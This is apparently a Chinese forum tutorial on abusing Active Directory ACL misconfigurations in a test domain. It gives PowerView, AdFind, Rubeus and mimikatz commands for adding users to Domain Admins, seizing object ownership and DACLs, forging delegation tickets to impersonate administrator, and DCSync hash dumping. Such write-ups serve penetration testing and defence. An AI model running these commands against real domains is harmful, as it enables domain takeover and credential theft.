Author: Muxue

0x01 ACL简介

也就是访问控制列表

ACL主要有俩种类型

  1. 权限访问控制 -> DACL(自由访问控制列表)
  2. 日志记录功能 -> SACL(系统访问控制列表)

  1. 权限就是DACLDACL的功能主要就是权限访问控制。
  2. 审核那里就是SACL,主要功能就是记录访问成功否。

这里每一条规则就是ACE(访问控制条目),是由SDDL(安全描述符定义语言) 书写定义的。

简介这里就不写太多了

0X02 攻击者感兴趣的对象权限

主要是管理员配置不当,而有可能会引起这些操作。

  • GenericAll:完全对象控制,可以将其添加到组中、更改用户密码、向对象用户注册SPN等功能
  • Self(Self-Membership):自成员,这个是能够将自己添加到组的另一项特权
  • GenericWrite:能够更新任何不受保护的目标对象参数值,可以设置设置msDS-AllowedToActOnBehalfOfOtherIdentity来打基于资源的约束委派等
  • AllExtendedRights:能够对对象执行AD的拓展相关操作,例如,强制更改目标用户的密码(ForceChangePassword)。

  • WriteProperty:完全写入权限,我们可以将用户写入到这个组。

  • WriteOwner:将对象所有者更改为攻击者控制的用户从而接管对象。

  • WriteDACL:将新ACE写入目标对象的DACL的能力。例如,攻击者可能会向目标对象DACL写入新的ACE,从而控制目标。

GenericAll on User

完全对象控制,所以我们可以将其添加到组中、更改用户密码、向对象用户注册SPN等功能

使用iis和user1用户做测试

iis:   S-1-5-21-511003792-1237030605-620821399-1106
user1: S-1-5-21-511003792-1237030605-620821399-1604

使用PowerView.ps1查找谁对user1用户有GenericAll权限

Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | ?{$_.ActiveDirectoryRights -eq "GenericAll"}

我们注意查看SecurityIdentifier里的值,然后通过ldap查找,得知"Domain Admins"和"Enterprise Admins"组对他有GenericAll权限

我们添加一条ACE

然后再查询,发现多了一条。

然后接着查询是哪一条用户

我们就使用iis来操作更改密码 看看能不能更改成功

利用成功

GenericAll on Group

和上边利用操作差不多 只不过是添加组的了

使用powerview来查找对域管组有GenericAll权限的用户

Get-ObjectAcl  -ResolveGUIDs| ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=muxue,DC=com"}

然后我们测试将一个用户,加到域管组里

Self(Self-Membership)

自成员,这个是能够将自己添加到组的另一项特权

添加/删除自身作为成员

然后使用powerview来查找具有WriteProperty特权的账号

Get-ObjectAcl -SamAccountName "CN=Domain Admins,CN=Users,DC=muxue,DC=com" -ResolveGUIDs | out-file C:\Users\iis\Desktop\1.txt

然后再次尝试加入域管组

net group "domain admins" user1 /add /domain

GenericWrite

也就是通用写入这个权限能够更新任何不受保护的目标对象参数值,所以我们可以设置msDS-AllowedToActOnBehalfOfOtherIdentity来打基于资源的约束委派等

*GenericAll/GenericWrite/WriteDacl/WriteProperty/一种权限就可以实现约束委派,由于都是设置属性值,这里我就直接用加域用户(有写入权限)来测试了

addUser qwer123!

查看谁对他有写入权限

Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}

尝试和win7建立ipc链接,可以建立 但没有权限

我们需要添加一个机器用户,因为需要用机器用户去申请票据,本身的win7机器账户我们不知道他的密码所以无法申请票据,所以我们需要添加一个机器用户,用来帮助我们申请票据

检查msds-allowedtoactonbehalfofotheridentity的值

Get-NetComputer win7 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

然后增加机器用户

成功使用addUser用户创建evilpc

因为是addUser用户把win7加入到域中,所以拥有写权限 创造了一个属性是msDS-AllowedToActOnBehalfOfOtherIdentity值为evilpcobject-id

然后我们就可以去生成票据了,正好今天rebeus 2.0出来了,刚编译好 就用它来生成票据了

Rubeus.exe hash /user:evilpc /password:123456 /domain:muxue.com     // 获取hash
Rubeus.exe s4u /user:evilpc /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:cifs/win7.muxue.com /ptt      // 申请票据并导入

当然也可以用impacketgetST来获取票据,然后利用mimikatzPass The Ticket

AllExtendedRights

我以ForceChangePassword拓展权限举例,可以在不知道当前目标用户的密码的情况下更改目标用户的密码

寻找ForceChangePassword拓展权限

注意是重置密码,更改密码不得行。

Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | Out-File C:\Users\iis\Desktop\1.txt

然后尝试更改密码

后面这条不成功的,是我取消了权限然后尝试的。

WriteProperty

WriteProperty顾名思义:写所有权,这个权限也可以将我们加入到一个组里

可以使用powerview也可以使用adfind

AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com," ntsecuritydescriptor -sddlfilter ;;;;;iis -sddl+++ -recmute -sdna -s basea -s base

Get-ObjectAcl -SamAccountName "domain admins" -ResolveGUIDs

powerview的结果

WriteOwner

WriteOwner权限修改对象的安全描述符的所有者部分。

查看写owner的权限

Get-ObjectAcl -SamAccountName "domain admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}

然后进行利用,首先要查找组的SID

AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com"       // 当然也可以加过滤条件 我太懒了 就没加

然后修改所有者

Set-DomainObjectOwner -Identity S-1-5-21-511003792-1237030605-620821399-512 -OwnerIdentity "iis" -Verbose

可以看到 所有者已经不是administrator

WriteDACL

对应的是修改权限

首先查询谁有权限,这次我是直接根据我们的SID查询的

get-domainobjectacl acltest -ResolveGUIDs | ?{$_.SecurityIdentifier -eq 'S-1-5-21-511003792-1237030605-620821399-1106'}
Get-ObjectAcl -SamAccountName "acltest" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}

可以看见现在有WriteDacl权限

然后接着使用PowerViewiison添加GenericAll权限

Add-DomainObjectAcl -TargetIdentity acltest -PrincipalIdentity iis -Rights All -Verbose

可以看见,我们已经成功提到了GenericAll权限

Dcsync

经常耍mimikatz的兄弟 应该很熟悉这个东西

  • DS-Replication-Get-Changes
    • GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
  • DS-Replication-Get-Changes-All
    • GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
  • DS-Replication-Get-Changes-In-Filtered-Set(这个不是必要的)
    • GUID: 89e95b76-444d-4c62-991a-0facbeda640c

然后利用mimikatzdscync功能

成功dump出hash

0X03 小结

我这里原理写的比较少,大家要是想了解具体的ACE,SDDL可以去msdn上看。

ACL的攻击方式还可以打组合,如配合Exchange,利用中继来dcsyncAdminSDHolder等等手法来进行攻击。

这里我就不先写了,有机会下次写出来给大家看。

点击收藏 | 5 关注 | 5 打赏
登录 后跟帖